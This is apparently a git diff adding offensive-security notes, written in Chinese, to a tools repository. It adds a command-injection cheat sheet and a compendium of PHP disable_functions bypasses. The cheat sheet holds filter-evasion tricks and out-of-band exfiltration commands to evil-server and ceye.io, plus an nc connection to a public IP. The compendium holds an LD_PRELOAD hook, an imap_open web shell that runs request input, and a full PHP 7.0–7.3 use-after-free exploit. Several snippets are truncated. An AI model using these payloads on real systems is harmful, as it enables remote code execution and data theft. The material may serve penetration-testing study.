diff --git a/README.md b/README.md index 2c409bb..0331691 100644 --- a/README.md +++ b/README.md @@ -106,7 +106,10 @@ - [通过Shodan和favicon icon发现真实IP地址](https://github.com/pielco11/fav-up) - [Cobalt_Strike扩展插件](./tools/Cobalt_Strike扩展插件.md) - [Windows命令行cmd的空格替换](./tools/Windows命令行cmd的空格替换.md) +- [绕过disable_function汇总](./tools/绕过disable_function汇总.md) +- [WAF Bypass](https://chybeta.gitbooks.io/waf-bypass/content/) +- [命令注入总结](./tools/命令注入总结.md) ## 说明 -> 此项目所有文章、代码均来源于互联网,仅供学习参考使用,严禁用于任何非法行为!使用即代表你同意自负责任! +> 此项目所有文章、代码部分来源于互联网,版权归原作者所有,此项目仅供学习参考使用,严禁用于任何非法行为!使用即代表你同意自负责任! diff --git a/tools/命令注入总结.md b/tools/命令注入总结.md new file mode 100644 index 0000000..d80a88c --- /dev/null +++ b/tools/命令注入总结.md @@ -0,0 +1,359 @@ +## 命令注入总结 + +## 直接执行代码 + +PHP 中有不少可以直接执行代码的函数。 + +``` +eval(); +assert(); +system(); +exec(); +shell_exec(); +passthru(); +escapeshellcmd(); +pcntl_exec(); + +``` + +preg_replace( ) 代码执行 + +preg_replace() 的第一个参数如果存在 `/e` 模式修饰符,则允许代码执行。 + +``` +phpinfo()"; + preg_replace("/(.*?)<\/tag>/e", "addslashes(\\1)", $var); +?> +``` + +若无 `/e` 修饰符,则可以尝试 %00 截断。 + +## 重定向 + +- cmd > file + 把cmd命令的输出重定向到文件file中。如果file已经存在,则清空原有文件,使用bash的noclobber选项可以防止复盖原有文件。 + +- cmd >> file + 把cmd命令的输出重定向到文件file中,如果file已经存在,则把信息加在原有文件后面。 + +- cmd < file + 使cmd命令从file读入 + +- cmd << text + 从命令行读取输入,直到一个与text相同的行结束。除非使用引号把输入括起来,此模式将对输入内容进行shell变量替换。如果使用`<<-` ,则会忽略接下来输入行首的tab,结束行也可以是一堆tab再加上一个与text相同的内容,可以参考後面的例子。 + +- cmd <<< word + 把word(而不是文件word)和后面的换行作为输入提供给cmd。 + +- cmd <> file + 以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的。 + +- cmd >| file + 功能同>,但即便在设置了noclobber时也会复盖file文件,注意用的是|而非一些书中说的!,目前仅在csh中仍沿用`>!`实现这一功能。 + +- : > filename + + 把文件`filename`截断为0长度。如果文件不存在, 那么就创建一个0长度的文件(与`touch`的效果相同). + +- cmd >&n + + 把输出送到文件描述符n + +- cmd m>&n + + 把输出到文件符m的信息重定向到文件描述符n + +- cmd >&- + + 关闭标准输出 + +- cmd <&n + + 输入来自文件描述符n + +- cmd m<&n + + m来自文件描述各个n + +- cmd <&- + + 关闭标准输入 + +- cmd <&n- + + 移动输入文件描述符n而非复制它。 + +- cmd >&n- + + 移动输出文件描述符n而非复制它。 + 注意: `>&`实际上复制了文件描述符,这使得`cmd > file 2>&1`与`cmd 2>&1 >file`的效果不一样。 + +## 读文件 + +``` +cat flag /{cat,flag} +more flag +less flag +bzmore flag +bzless flag +head flag +tail flag +tailf flag +tac flag +nl flag +od -a flag + +fire flag +wc flag +uniq flag +diff flag flag1.txt +sed -n '1,2p' flag +find -P flag +strings flag +curl file:///root/flag +sort flag +bash -v flag +rev flag +paste ./flag.txt /etc/passwd + +``` + +## Bypass + +### 多条命令 + +``` +%0a、%0d 换行符与回车符 +| 第一条命令结果作为第二条命令的输入 +|| 第一条执行失败,执行第二条命令 +; 连续指令功能。 +& 连接的两条命令都会执行 +&& 当第一条执行成功后执行后续命令 + +echo 666`date` => 666Tue 14 May 2019 07:15:23 AM EDT + +# Windows +Copy %0a + +%1a - 一个神奇的角色,作为.bat文件中的命令分隔符 + +``` + +### 绕过 escapeshellcmd + +- win 下执行 bat + +``` + + +``` +cat<>flag +cat +$ {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php + +``` + +- 单引号、双引号 + +``` +c""at fl''ag +c'a't f'l'ag + +``` + +- 反斜线 \ + +``` +c\at fl\ag + +``` + +- 通配符 + +``` +/?in/?s => ls + +* 0到无穷个任意字符 +? 一个任意字符 +[ ] 一个在括号内的字符,e.g. [abcd] +[ - ] 在编码顺序内的所有字符 +[^ ] 一个不在括号内的字符 +[! ] 同 ^ +cat fl[0-z]g + +echo d{a,e,i,u,o}g => dag deg dig dug dog +echo {fl,fla}{ag,g} => flag flg flaag flag +echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg + +花括号拓展{OS_COMMAND,ARGUMENT} +在Linux bash中还可以使用{cat,/etc/passwd}来绕过 +这里没实验成功 + +``` + +- 未定义变量 + +``` +cat$x /etc/passwd +``` + +- 可变函数 + +``` +(sy.(st).em)(whoami) +$_GET[a]($_GET[b].$_GET[c]) + +获取内置函数 system 的索引后,直接执行 +get_defined_functions()[internal] | grep ststem +get_defined_functions()[internal][381](whoami) + +``` + +- `$@` + +``` +$ c$@at fl$@ag +flag{xxx} + +$ echo i$@d +id + +$ i$@d +uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj) + +$ echo i$@d|$0 +uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj) + +$ echo {nc,47.101.220.241,2333}|$0 +直接连 nc 了。。。$0 好牛逼? +$0 就相当于 bash 另外 $n 表示命令行第 n 个参数 + +$ $0<<’ +- ${PS4} 对应字符 ‘+’ +- ${IFS} 对应 内部字段分隔符 +- ${9} 对应 空字符串 + +### 无回显 + +- 弹 shell +- DNS 外带数据 + +``` +curl "http://testhash.test.dnslog.link/?`whoami`" +``` + +- HTTP 外带 + +``` +# linux +curl http://evil-server/`whoami` +wget http://evil-server/$(whoami) +curl xxxx.ceye.io/`whoami` +curl http://xxxx.ceye.io/$(id|base64) +ping -c 1 `whoami`.xxxx.ceye.io + +# windows +http: +for /F %x in ('whoami') do start http://xxx.ceye.io/%x +dns请求: +获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info +获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info + +for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a); + +``` + +### 长度限制 + +- 文件构造(参考橘子那个 hitcon) + +``` +>w +将会创建一个名字为 w 的空文件。 + +``` + +工具 + +- [shelling](https://github.com/ewilded/shelling) + +## 参考链接 + +[巧用命令注入的 N 种姿势](https://mp.weixin.qq.com/s/Hm6TiLHiAygrJr-MGRq9Mw) + +[命令执行的一些绕过技巧](https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/) \ No newline at end of file diff --git a/tools/绕过disable_function汇总.md b/tools/绕过disable_function汇总.md new file mode 100644 index 0000000..f72437f --- /dev/null +++ b/tools/绕过disable_function汇总.md @@ -0,0 +1,307 @@ +# 绕过disable_function汇总 + +## 第一种方式—利用LD_PRELOAD + +```php + +``` +```c +#include +#include +#include + +void payload() { + system("rm /tmp/check.txt"); +} + +int geteuid() { +if (getenv("LD_PRELOAD") == NULL) { return 0; } +unsetenv("LD_PRELOAD"); +payload(); +} + +/* +$ gcc -c -fPIC hack.c -o hack +$ gcc -shared hack -o hack.so +*/ +``` + +## 第二种模式— -imap_open + +```php +/tmp/test0001 + +error_reporting(0); +if (!function_exists('imap_open')) { + die("no imap_open function!"); +} + +$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}"; +imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or var_dump("\n\nError: ".imap_last_error()); +echo file_get_contents("/tmp/cmd_result"); +``` + +## 第三种模式— -exec + +```php +"; + print_r($file); +?> +``` + +## 第四种模式— -passthru + +```php + +``` + +## 第五种模式— -system() + +```php + +``` + +## 第六种模式—–fpm + +[从蚁剑插件看利用PHP-FPM绕过disable_functions](https://www.mi1k7ea.com/2019/08/03/%E4%BB%8E%E8%9A%81%E5%89%91%E6%8F%92%E4%BB%B6%E7%9C%8B%E5%88%A9%E7%94%A8PHP-FPM%E7%BB%95%E8%BF%87disable-functions/) +[PHP 连接方式&攻击PHP-FPM&*CTF echohub WP](https://evoa.me/index.php/archives/52/) + +## 第七种模式–PHP 7.0 < 7.3 (Unix) - ‘gc’ Disable Functions Bypass + +```php += 0; $j--) { + $address <<= 8; + $address |= ord($str[$p+$j]); + } + return $address; + } + + function ptr2str($ptr, $m = 8) { + $out = ""; + for ($i=0; $i < $m; $i++) { + $out .= chr($ptr & 0xff); + $ptr >>= 8; + } + return $out; + } + + function write(&$str, $p, $v, $n = 8) { + $i = 0; + for($i = 0; $i < $n; $i++) { + $str[$p + $i] = chr($v & 0xff); + $v >>= 8; + } + } + + function leak($addr, $p = 0, $s = 8) { + global $abc, $helper; + write($abc, 0x68, $addr + $p - 0x10); + $leak = strlen($helper->a); + if($s != 8) { $leak %= 2 << ($s * 8) - 1; } + return $leak; + } + + function parse_elf($base) { + $e_type = leak($base, 0x10, 2); + + $e_phoff = leak($base, 0x20); + $e_phentsize = leak($base, 0x36, 2); + $e_phnum = leak($base, 0x38, 2); + + for($i = 0; $i < $e_phnum; $i++) { + $header = $base + $e_phoff + $i * $e_phentsize; + $p_type = leak($header, 0, 4); + $p_flags = leak($header, 4, 4); + $p_vaddr = leak($header, 0x10); + $p_memsz = leak($header, 0x28); + + if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write + # handle pie + $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; + $data_size = $p_memsz; + } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec + $text_size = $p_memsz; + } + } + + if(!$data_addr || !$text_size || !$data_size) + return false; + + return [$data_addr, $text_size, $data_size]; + } + + function get_basic_funcs($base, $elf) { + list($data_addr, $text_size, $data_size) = $elf; + for($i = 0; $i < $data_size / 8; $i++) { + $leak = leak($data_addr, $i * 8); + if($leak - $base > 0 && $leak - $base < $text_size) { + $deref = leak($leak); + # 'constant' constant check + if($deref != 0x746e6174736e6f63) + continue; + } else continue; + + $leak = leak($data_addr, ($i + 4) * 8); + if($leak - $base > 0 && $leak - $base < $text_size) { + $deref = leak($leak); + # 'bin2hex' constant check + if($deref != 0x786568326e6962) + continue; + } else continue; + + return $data_addr + $i * 8; + } + } + + function get_binary_base($binary_leak) { + $base = 0; + $start = $binary_leak & 0xfffffffffffff000; + for($i = 0; $i < 0x1000; $i++) { + $addr = $start - 0x1000 * $i; + $leak = leak($addr, 0, 7); + if($leak == 0x10102464c457f) { # ELF header + return $addr; + } + } + } + + function get_system($basic_funcs) { + $addr = $basic_funcs; + do { + $f_entry = leak($addr); + $f_name = leak($f_entry, 0, 6); + + if($f_name == 0x6d6574737973) { # system + return leak($addr + 8); + } + $addr += 0x20; + } while($f_entry != 0); + return false; + } + + class ryat { + var $ryat; + var $chtg; + + function __destruct() + { + $this->chtg = $this->ryat; + $this->ryat = 1; + } + } + + class Helper { + public $a, $b, $c, $d; + } + + if(stristr(PHP_OS, 'WIN')) { + die('This PoC is for *nix systems only.'); + } + + $n_alloc = 10; # increase this value if you get segfaults + + $contiguous = []; + for($i = 0; $i < $n_alloc; $i++) + $contiguous[] = str_repeat('A', 79); + + $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'; + $out = unserialize($poc); + gc_collect_cycles(); + + $v = []; + $v[0] = ptr2str(0, 79); + unset($v); + $abc = $out[2][0]; + + $helper = new Helper; + $helper->b = function ($x) { }; + + if(strlen($abc) == 79) { + die("UAF failed"); + } + + # leaks + $closure_handlers = str2ptr($abc, 0); + $php_heap = str2ptr($abc, 0x58); + $abc_addr = $php_heap - 0xc8; + + # fake value + write($abc, 0x60, 2); + write($abc, 0x70, 6); + + # fake reference + write($abc, 0x10, $abc_addr + 0x60); + write($abc, 0x18, 0xa); + + $closure_obj = str2ptr($abc, 0x20); + + $binary_leak = leak($closure_handlers, 8); + if(!($base = get_binary_base($binary_leak))) { + die("Couldn't determine binary base address"); + } + + if(!($elf = parse_elf($base))) { + die("Couldn't parse ELF header"); + } + + if(!($basic_funcs = get_basic_funcs($base, $elf))) { + die("Couldn't get basic_functions address"); + } + + if(!($zif_system = get_system($basic_funcs))) { + die("Couldn't get zif_system address"); + } + + # fake closure object + $fake_obj_offset = 0xd0; + for($i = 0; $i < 0x110; $i += 8) { + write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); + } + + # pwn + write($abc, 0x20, $abc_addr + $fake_obj_offset); + write($abc, 0xd0 + 0x38, 1, 4); # internal func type + write($abc, 0xd0 + 0x68, $zif_system); # internal func handler + + ($helper->b)($cmd); + + exit(); +} +``` +> 第七种引用 https://www.exploit-db.com/exploits/47462 +> 文章来至 [绕过disable_function汇总](https://wulidecade.cn/2019/09/27/%E7%BB%95%E8%BF%87disable-function%E6%B1%87%E6%80%BB/)